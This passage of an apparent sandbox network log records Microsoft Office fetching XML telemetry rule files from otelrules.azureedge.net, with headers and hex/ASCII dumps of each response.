encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:39 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:39 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: a0ab9ddc-d01e-00ad-54a3-43e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165639Z-174f7845968jrjrxhC1EWRmmrs00000014z00000000000t8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:39 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:39 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:39 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8aad1780-e01e-0020-7ed6-43de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165639Z-174f784596886s2bhC1EWR743w00000014sg00000000bupe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:39 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:39 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:39 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 20bd7b2d-701e-001e-11a1-42f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165639Z-174f7845968n2hr8hC1EWR9cag00000014b000000000fqxq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:39 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:39 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 97ca64ed-201e-000c-5e6e-4379c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165639Z-174f7845968vqt9xhC1EWRgten00000014ug000000005d33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:39 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1cfa5ca7-601e-000d-64b2-422618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165640Z-174f7845968cdxdrhC1EWRg0en00000014h000000000ygfp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:41 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:41 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 64c010c7-b01e-003e-2ea1-428e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165641Z-174f7845968cpnpfhC1EWR3afc00000014bg00000000bst1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:41 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:41 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: e27289f3-201e-0003-0c15-42f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165641Z-174f7845968glpgnhC1EWR7uec00000014x0000000009hxw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:41 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:41 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165641Z-174f7845968xr5c2hC1EWRd0hn0000000pfg00000000qdx6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:41 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:41 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:42 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:42 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: b5b05efe-701e-0001-4ea6-43b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165642Z-174f7845968frfdmhC1EWRxxbw00000014u000000000820a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:42 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:42 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:42 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c668448b-101e-007a-2d91-3f047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165642Z-174f7845968zgtf6hC1EWRqd8s0000000xn000000000ktcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:42 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:43 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:43 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f418fe9b-801e-0047-5281-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165643Z-174f7845968kvnqxhC1EWRmf3g0000000rh000000000bxde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:43 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:43 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:43 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: db283756-601e-0070-61b4-43a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165643Z-174f78459684bddphC1EWRbht400000014fg000000009699 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:44 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49856	13.107.246.63	443

